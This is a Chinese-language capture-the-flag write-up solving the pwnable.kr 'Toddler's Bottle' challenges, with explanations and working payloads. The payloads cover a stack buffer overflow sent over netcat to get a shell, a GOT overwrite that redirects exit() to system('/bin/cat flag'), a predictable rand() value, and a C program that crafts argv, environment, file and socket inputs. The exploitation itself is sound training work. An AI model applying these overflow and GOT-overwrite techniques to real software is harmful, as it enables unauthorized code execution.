Toddler’s Bottle
col
./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"
bof
一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated
(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000
flag
拖到 ida 里,一开始觉得函数很少,而且找不到 pe 里的字符串,翻来翻去发现原来用 upx 压缩了。解压后就简单了,从 main 函数里直接就能看到引用的 flag 字符串内容。
passcode
观察代码可以看到,scanf
、passcode1
和 passcode2
的地方都没有加取地址符,则数据不会写到这两个变量而是写道它们的值所指向的地址上。但 passcode1
,passcode2
都没有初始化,所以它们的值是随机的——本该如此,但是在调用 login
之前会先调用 welcome
函数,welcome
中的 char name[100]
使得我们可以控制 p1 和 p2 变量的值。因为 welcome
和 login
的 ebp 是相等的,当栈重用时 p1 p2 占据的位置正好落在 name[100]
的范围内。而我们可以输入几乎任意的值到 name
里(除了 \x0 空白字符等,scanf(%s) 的限制)。
这样就能想到先把 p1 p2 的值初始化成它们的地址,然后再填入 if 中的两个整数满足条件,但实际上每次运行时栈的位置无法预知,所以不好做到。
从另一个角度看也可以利用任意 4 字节地址写入的能力直接绕过这个 if,比如直接跳到 system("/bin/cat flag");
开始执行。可以通过改写 GOT 表来达到偷梁换柱的目的,这样程序在试图调用被篡改过函数时就会跳转到我们想要的位置。而可以选择的目标就是 scanf("%d", passcode1);
之后可以被调用到的函数。
查看 passcode
的 GOT 表,因为 printf
scanf
的地址里有 \x0 \x20 所以排除掉,剩下可以选 fflush
和 exit
。比如 exit
的地址是 0x0804a018。
Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
反汇编 elf 可以找到想要执行的 system("/bin/cat flag");
地址是 0x80485e3。
所以做法就是先把 passcode1
的值初始化成 0x0804a018,然后执行到 scanf p1
时输入 0x80485e3。然后代码执行到 exit(0)
时就会跳转了。
python -c 'print "A"*96 + "\x18\xa0\x04\x08 134514147"' > /tmp/test ./passcode < /tmp/test
random
关键在于 If no seed value is provided, the rand() function is automatically seeded with a value of 1.
输入 3039230856
input
主要要熟悉 libc 函数……另外远程机上的环境也有所不同,要稍作调整。把代码拷到 /tmp 的单独目录下,并将 flag 链接到当前目录,因为当前目录是 input 的工作目录。
mkdir /tmp/ABC && cd /tmp/ABC ln -s /home/input2/flag flag cat > 1.c ; 输入源代码,PATH_INPUT 切换成 input 文件实际所在路径 gcc 1.c -o 1 && ./1
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <arpa/inet.h> #define PATH_IN "st2-in" #define PATH_ERR "st2-err" #define PATH_OUT "st2-out" #define PATH_0A "\x0a" #if 0 #define PATH_INPUT "input" #else #define PATH_INPUT "/home/input2/input" #endif int main() { char* n_argv[101] = {0}; // 1 for (int i = 0; i < 100; ++i) { n_argv[i] = ""; } n_argv[100] = NULL; n_argv['A'] = "\x00"; n_argv['B'] = "\x20\x0a\x0d"; // 2 int n_in = open(PATH_IN, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG); int n_err = open(PATH_ERR, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG); write(n_in, "\x00\x0a\x00\xff", 4); write(n_err, "\x00\x0a\x02\xff", 4); lseek(n_in, 0, SEEK_SET); lseek(n_err, 0, SEEK_SET); dup2(n_in, STDIN_FILENO); dup2(n_err, STDERR_FILENO); // 3 char* n_env[3] = {0}; n_env[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe"; n_env[1] = NULL; // 4 int fa = open(PATH_0A, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG); write(fa, "\x00\x00\x00\x00", 4); close(fa); // 5.1 n_argv['C'] = "10000"; int pid = -1; if ((pid = fork()) == 0) { execve(PATH_INPUT, n_argv, n_env); printf("exec err: %d\n", errno); } else if (pid > 0) { // 5.2 sleep(1); int sk = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in target; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(10000); if (connect(sk, (struct sockaddr*)&target, sizeof(target)) < 0) printf("connect err: %d\n", errno); send(sk, "\xde\xad\xbe\xef", 4, 0); close(sk); } else { puts("fork failed"); } return 0; }